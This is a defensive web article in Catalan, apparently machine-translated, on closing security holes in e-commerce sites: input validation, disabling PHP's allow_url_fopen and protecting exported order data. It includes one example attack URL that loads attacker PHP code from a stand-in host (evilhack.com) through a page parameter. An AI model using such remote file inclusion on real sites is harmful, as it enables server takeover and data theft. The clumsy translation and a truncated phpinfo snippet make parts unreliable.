E-Commerce Security - tapar els forats de seguretat

De seguretat en un lloc de comerç electrònic ha de ser una consideració important al desenvolupament d'un lloc de comerç electrònic o de programari. Un programador ha de ser conscient de totes les consideracions de seguretat en el disseny d'un lloc. Amb el comerç electrònic cada vegada més comuns en aquests dies, el nombre d'atacs a la seguretat és, sens dubte cada vegada major. La paranoia és una cosa saludable per a desenvolupadors de llocs d'e-comerç, hem de mantenir a la porta amb qüestions de seguretat, i mantenir a les nostres oïdes i els ulls oberts. Tot i les llacunes següents són greus, les llacunes següent si està present es pot arreglar fàcilment.

A continuació s'enumeren algunes consideracions de seguretat que s'inclouran en el desenvolupament d'un lloc. Aquest article no inclou i-robatori, si us plau, veure el meu article separat sobre això.

L'entrada de l'usuari - cada entrada, ja sigui entrant en una quantitat, la recerca d'un producte, entrar en un nom, etc, ha de ser validat per personatges sospitosos. Si això no es fa, és possible entrar "?>", les etiquetes de tancament de final de PHP i executar codi PHP.

És molt més segur permetre que els números i caràcters az (capitals incloses) i 0-9, i res més, en lloc de fer una llista de tot el caràcter que no hauria de ser-hi. La seqüència d'ordres de validació de les necessitats per desplaçar-se a través de cada personatge un per un. Això s'ha d'aconseguir mitjançant la validació del costat del servidor, no Javascript. Amb la banda de servidor de validació d'entrada és essencial per mantenir fora caràcters no desitjats

Hi ha una altra important quan l'execució de codi PHP. Quan es fa servir PHP és un escenari anomenat allow_url_fopen que permet l'obertura de fitxers des d'un script PHP. Aquest valor ha d'estar apagat, a menys que sigui absolutament necessari.

Imagini's vostè té scripts PHP per a les capçaleres i peus de pàgina fixa, i per accedir a les seves pàgines web que escriuria a http://www.mysite.com/index.php?page=page2. Tot el que necessita és un usuari maliciós executar un script mitjançant la modificació d'aquests paràmetres, escrivint "http:// www.mysite.com/index.php?page=http://www.evilhack.com/hacker.txt" amb la una mica de codi PHP a l'arxiu "hacker.txt". Vostè podria tenir res passi, arxius PHP llegir, esborrar, informació vital robats.

Si vostè no està segur de si aquesta opció està activada o desactivada, si us plau copieu el següent codi PHP en un arxiu de text, i pujar-lo al teu servidor web:

phpinfo ();
?>

Quan té accés a la seqüència de comandaments en el seu servidor web, ha de venir a través de l'establiment de allow_url_fopen en la configuració.

Un usuari de l'ordinador, en circumstàncies normals no pot trobar el valor d'aquesta configuració.

Aneu amb compte amb les dades exportats, com comandes, productes en CSV i mySQL. Si aquestes dades s'exporta des d'un script i es manté a la web sota un comú, és a dir el nom d'arxiu. http://www.mysite.com/admin/output_tables.csv. Que això només és un problema quan les dades exportats resideix en un fitxer en un directori que és accessible al públic. Hi ha dues maneres de prevenir aquesta llacuna en la seguretat - En primer lloc té el fitxer de sortida darrere d'un directori protegit amb contrasenya, en segon lloc tenim les dades ubicats dins d'un formulari element d'àrea de text HTML en un script. El propietari de la botiga continuació, pot copiar aquesta informació del fitxer de text i crear un nou fitxer a l'ordinador i enganxar la informació aquí.

Tot el que necessita és un hacker per trobar aquest nom de fitxer en revisar el lloc d'e-demo del programari de comerç i buscar el mateix nom de fitxer en un lloc real.

Rate Article

Related Videos
Play Video How to Strengthen Network Security with Cisco Network Manager	Play Video Understanding your Home Network Router #5 - Secure Your Network with WPA2	Play Video Learn About Secure Computing	Play Video Com mantenir l'equip protegit	Play Video Com comprovar la configuració de seguretat en Windows Vista

A continuació s'esmenten més articles relacionats amb l'article anterior de la categoria "Comerç Electrònic" de l'article.

Les persones interessades en l'article anterior "E-Commerce Security - tapar els forats de seguretat" també estan interessats en els articles relacionats que figuren a continuació: